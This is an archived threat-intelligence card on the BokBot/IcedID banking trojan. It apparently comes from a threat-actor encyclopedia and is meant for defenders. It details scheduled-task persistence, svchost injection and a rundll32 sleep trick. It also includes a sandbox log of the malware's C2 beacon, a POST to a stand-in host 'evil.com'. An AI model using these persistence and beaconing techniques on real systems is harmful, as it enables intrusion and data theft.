Threat Group Cards: A Threat Actor Encyclopedia
Archived: 2026-04-05 20:40:32 UTC
Home > List all groups > List all tools > List all groups using tool BokBot
 Tool: BokBot
Names
BokBot
IcedID
IceID
Category Malware
Type Banking trojan
Description Analysis Observations:
• It sets up persistence by creating a Scheduled Task with the following characteristics:
• Name: Update
• Trigger: At Log on
• Action: %LocalAppData%\$Example\\waroupada.exe /i
• Conditions: Stop if the computer ceases to be idle.
• The sub-directory within %LocalAppdata%, Appears to be randomly picked from the
list of directories within %ProgramFiles%. This needs more verification.
• The filename remained static during analysis.
• The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as
a sub-process and then inject/execute its malicious code within it
• If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
• If “/I” is passed as an argument (as is the case when the scheduled task is triggered at
login), it skips persistence setup and actually executes; resulting in C2 communication.
• Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll
from the shell, like so:
rundll32.exe kernel32,Sleep -s
• Setup a local listener to proxy traffic on 127.0.0.1:50000
**[Example Log from C2 Network Communication]**
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST
/forum/posting.php?
a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11
HTTP/1.1
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv:
https://apt.etda.or.th/cgi-bin/listgroups.cgi?u=f1341974-6e5c-4254-8f53-b231fcda1bd1
Page 1 of 4

Connection: close
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv:
Content-Type: application/x-www-form-urlencoded
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv:
Content-Length: 196
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host:
evil.com
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv:
<(POSTDATA)>
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST
data stored to:
/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info:
**Request URL: hxxps://evil.com/forum/posting.php?
a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info:
Sending fake file configured for extension 'php'.
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send:
HTTP/1.1 200 OK
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send:
Content-Type: text/html
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send:
Server: INetSim HTTPs Server
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date:
Mon, 19 Mar 2018 16:45:55 GMT
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send:
Connection: Close
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send:
Content-Length: 258
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info:
Sending file: /var/lib/inetsim/http/fakefiles/sample.html
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1
**method=POST url=hxxps://evil.com/forum/posting.php?
a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**
sent=/var/lib/inetsim/http/fakefiles/sample.html
postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
Information https://apt.etda.or.th/cgi-bin/listgroups.cgi?u=f1341974-6e5c-4254-8f53-b231fcda1bd1
Page 2 of 4

Malpedia AlienVault OTX Last change to this tool card: 15 February 2023
Download this tool card in JSON format
All groups using tool BokBot
Changed Name Country Observed
APT groups
 TA2101, Maze Team [Unknown] 2019-Feb 2024
Other groups
 Lunar Spider 2019
 TA551, Shathak 2016-Jan 2021
3 groups listed (1 APT, 2 other, 0 unknown)
https://apt.etda.or.th/cgi-bin/listgroups.cgi?u=f1341974-6e5c-4254-8f53-b231fcda1bd1
Page 3 of 4

Source: https://apt.etda.or.th/cgi-bin/listgroups.cgi?u=f1341974-6e5c-4254-8f53-b231fcda1bd1
https://apt.etda.or.th/cgi-bin/listgroups.cgi?u=f1341974-6e5c-4254-8f53-b231fcda1bd1
Page 4 of 4